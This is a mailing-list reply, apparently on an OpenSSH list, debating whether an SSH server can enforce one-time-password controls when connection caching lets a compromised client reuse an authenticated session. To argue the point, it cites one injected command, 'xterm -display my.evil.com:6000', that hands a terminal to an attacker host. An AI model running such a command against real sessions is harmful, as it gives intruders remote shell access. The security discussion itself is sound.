Connection caching?

[Darren Tucker]

Jefferson Ogata wrote:

> Damien Miller wrote:
> 
>> Jefferson Ogata wrote:
[...]
>>> You're advocating a mechanism that renders one-time passwords useless 
>>> against a remote client compromise. 
>>
>> You miss the point: these controls are useless now, if they depend on
>> the integrity of an uncontrolled client.
> 
> I wouldn't agree that they're useless, but they're clearly incomplete, 
> hence the /need/ for a configuration directive.

Let's imagine for a moment that the server restricts each client to only 
one session.  If the client is compromised, there's still nothing to 
stop it from jamming, eg, "xterm -display my.evil.com:6000" into the 
command line.  Or pretending the connection was terminated and hijacking 
the session outright.

What it boils down to is that once a client is authenticated, the server 
is trusting it with the credentials of the user it allowed to log in.

>>> That's fine for you, but not for me: I need to be able to turn that 
>>> off on the ssh server.
>>
>> So write a patch.
> 
> It disappoints me that you guys have so little concern about providing 
> controllable authentication mechanisms. You really just don't get how 
> dumb it is to have implemented this feature in the server /without/ 
> having provided a configuration directive to control it, do you?

There's a limit to what the server can enforce.  How, for example, could 
it prevent a user from posting their passwordless private key to Usenet? 
  Or writing their passwords on Post-It notes and sticking them on their 
monitor?  Pointing a webcam at their SecurID token?  I'm sure you'll 
agree that these are insecure behaviours.

> As for writing a patch, I wrote a patch ("Requiring multiple auth 
> mechanisms") a few weeks ago and submitted it to the list. I didn't get 
> one useful bit of feedback, or any indication whatever that the 
> maintainers even understood the purpose of the patch.

I looked at it in conjunction with bug #701 (which is the 
"PermitRootLogin without-password" thing).  It occurred to me that a 
more general mechanism could be a better solution for both.  As usual, I 
got sidetracked.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.